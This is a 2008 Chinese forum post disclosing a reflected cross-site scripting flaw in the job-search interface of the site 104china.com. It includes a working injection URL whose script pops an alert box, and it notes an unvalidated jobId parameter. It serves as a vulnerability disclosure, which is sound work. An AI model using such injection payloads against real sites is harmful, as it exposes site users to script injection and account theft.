[原创]104china网站安全性测试漏洞之“跨站脚本注入”

卖烧烤的鱼

[原创]104china网站安全性测试漏洞之“跨站脚本注入”

JobListAction.do接口存在漏洞
构造如下脚本：
http://www.104china.com/JobListA ... &lastSearchKey=>'><script>alert('卖烧烤%20的%20鱼%20到此一游')</script>&searchWay=&orderBy=+order+by+jobList.job.lastDate+desc&city=&city1=&city2=&jobCat=&jobCat1=&jobCat2=&industry=&industry1=&industry2=&sex=2&salarylow=0&salaryhigh=0&salarytype=0&role=0&role1=0&role2=0&appco=-1&capital=0&firstdate=-1&isadvance=0&istitle=1&searchKey=&isFilter=0&lastSearchKey1=&custNoString=&searchType=&searchTypeLink=&lastdate=-1&edu=0&period=0&age=0&flag=

其中还存在如下问题，程序对用户传入据合法性未做判断，如jobid=99999999值后：
http://www.104china.com/JobListA ... b.eduType+desc&jobId=99999999
上面的脚本你试试看

说明：其中“搜索”功能这块，对搜索的词类型，搜索词链接，搜索词的值，均存在跨站脚本注入漏洞

[ 本帖最后由 卖烧烤的鱼 于 2008-6-23 16:23 编辑 ]

hellen_ma

thanks